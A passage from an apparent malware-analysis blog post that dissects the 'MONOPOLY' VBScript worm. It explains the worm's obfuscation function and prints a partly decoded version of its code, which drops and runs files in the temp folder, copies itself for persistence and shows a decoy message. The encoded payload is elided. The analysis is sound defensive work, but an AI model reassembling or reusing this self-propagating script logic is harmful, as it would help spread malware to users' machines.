Next
End Function

How it works

Error Handling Disabling:

On Error Resume Next

This line deactivates error handling, meaning if an error occurs in the script, it will continue to run uninterrupted.

Creation of a File System Object:

Set A1 = CreateObject(...)

This part creates an object that allows manipulation of files and folders.

Creation and Writing to a JPEG File:

Set A2 = A1.CreateTextFile(...)
A2.Write(...)
A2.Close

Here, a JPEG file is created and written with specific data. The data is likely encoded and represents the binary content of a JPEG image.

Copying the Current Script:

If ScriptEngineMajorVersion > 4 Then
A1.CopyFile WScript.ScriptFullName,...

This part checks the version of the script engine and copies the script itself to another location, probably for persistence.

Creation of Additional Files: It creates additional files with extensions like .WSH, .VBE, etc., which could be scripts or executable files.

Displaying a Message:

MsgBox ...

A message is displayed to the user, likely to divert their attention or for misinformation purposes.

Execution of Files:

A5.Run(...)

The script executes the files it previously created.

B Decoding Function:

Function B(B1) ...
End Function

This function is used to decode a string, likely employed to mask certain parts of the script.

B Decryption function

The function B is designed to decode a string of numerical values into characters. This function appears to be used for obfuscating or hiding the actual content of the script, making it harder to understand what the script is doing at first glance. Here’s how it works:

  1. Input: The function takes a string as input, where the string is a series of numbers separated by dots (.). Each number represents the ASCII code of a character.

  2. Processing: The function iterates over this string. For each number in the string, it does the following:

    • It finds the number before the first dot (.).
    • It converts this number from ASCII code to the corresponding character using the Chr function.
    • It concatenates this character to a growing result string.
  3. Output: Once all numbers have been processed, the function returns the decoded string.

Here’s an example to illustrate:

  • Input: "72.101.108.108.111."
  • Process:
    • 72 is converted to H
    • 101 is converted to e
    • 108 is converted to l
    • 108 is converted to l
    • 111 is converted to o
  • Output: The function would return "Hello"

In essence, this function is a simple method to encode strings in a non-readable format and then decode them at runtime, which can be a technique used in scripts to hide potentially malicious actions or data.

Code decrypted

We will decode now the encoded character strings in the script you provided using the B function indicated in the script, except for the part that creates the image, as it seems to contain a large amount of binary data.

The B function in the VBScript appears to convert a series of numbers separated by dots into characters, using their ASCII value. I will apply this decoding to all the encoded strings.

Let’s proceed with the decoding:

Here is the script rewritten with the decoded character strings:

On Error Resume Next
Set A1 = CreateObject("Scripting.FileSystemObject")
Set A2 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(2),"MONOPOLY.JPG"),True)

' ... The image creation part is left as it is ...

A2.Close

If ScriptEngineMajorVersion > 4 Then
    A1.CopyFile WScript.ScriptFullName, A1.BuildPath(A1.GetSpecialFolder(2), "MONOPOLY.VBS")
    Set A3 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(2), "MONOPOLY.WSH"), True)
    A3.Write("[ScriptFile]" & Chr(13) & Chr(10) & "Path=" & A1.BuildPath(A1.GetSpecialFolder(2), "MONOPOLY.VBE") & Chr(13) & Chr(10))
    A3.Close
    Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(2), "MONOPOLY.VBE"), True)

    ' ... The following part seems to be an encoded script written in MONOPOLY.VBE ...

    A4.Close
End If

MsgBox "Bill Gates is guilty of monopoly. Here is the proof.", 0, ""
Set A5 = WScript.CreateObject("WScript.Shell")
A5.Run(A1.BuildPath(A1.GetSpecialFolder(2), "MONOPOLY.JPG"))
If ScriptEngineMajorVersion > 4 Then
    A5.Run(A1.BuildPath(A1.GetSpecialFolder(2), "MONOPOLY.WSH"))
End If

In this script, the names of files and character strings have been decoded for better understanding. Note that the part concerning the creation of the image and the encoded script written in MONOPOLY.VBE has not been modified, as the former contains binary data and the latter appears to be a complex encoded script.

  • https://bazaar.abuse.ch/sample/5cd3c387b9324e048ba925640a464ad330feca96eeb90eb0e568421c2b9eb7e7/
  • https://www.virustotal.com/gui/file/5cd3c387b9324e048ba925640a464ad330feca96eeb90eb0e568421c2b9eb7e7
  • https://mwdb.cert.pl/file/8a2b52c6c2cc833f3838bfa739d018dd69327941d68b6fed89fedde67ab2b973

Sponsored by logo any.run


<
Previous Post
Onyx Ransomware Source Code
>
Next Post
How to decrypt Virus.VBS.Varal.a